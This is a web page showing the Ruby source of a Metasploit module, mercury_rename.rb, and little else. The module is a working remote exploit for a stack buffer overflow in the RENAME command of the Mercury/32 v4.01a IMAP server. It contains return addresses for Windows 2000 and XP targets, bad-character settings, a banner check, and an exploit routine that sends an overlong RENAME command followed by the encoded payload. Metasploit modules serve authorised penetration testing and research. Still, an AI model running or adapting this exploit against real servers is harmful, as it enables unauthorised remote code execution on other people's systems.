Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/imap/mercury_rename.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Imap910def initialize(info = {})11super(update_info(info,12'Name' => 'Mercury/32 v4.01a IMAP RENAME Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow vulnerability in the15Mercury/32 v.4.01a IMAP service.16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2004-1211'],22[ 'OSVDB', '12508'],23[ 'BID', '11775'],24[ 'URL', 'http://www.nessus.org/plugins/index.php?view=single&id=15867'],25],26'Privileged' => true,27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30},31'Payload' =>32{33'Space' => 500,34'BadChars' => "\x00\x0a\x0d\x20",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' =>39[40['Windows 2000 SP4 English', { 'Ret' => 0x7846107b }],41['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0 }],42['Windows XP Pro SP1 English', { 'Ret' => 0x77e53877 }],43],44'DisclosureDate' => '2004-11-29'))45end4647def check48connect49resp = sock.get_once50disconnect5152if (resp =~ /Mercury\/32 v4\.01a/)53return Exploit::CheckCode::Appears54end55return Exploit::CheckCode::Safe56end5758def exploit59connect_login6061sploit = "a001 RENAME " + rand_text_alpha_upper(260)62sploit << [target.ret].pack('V') + payload.encoded6364sock.put(sploit)6566handler67disconnect68end69end707172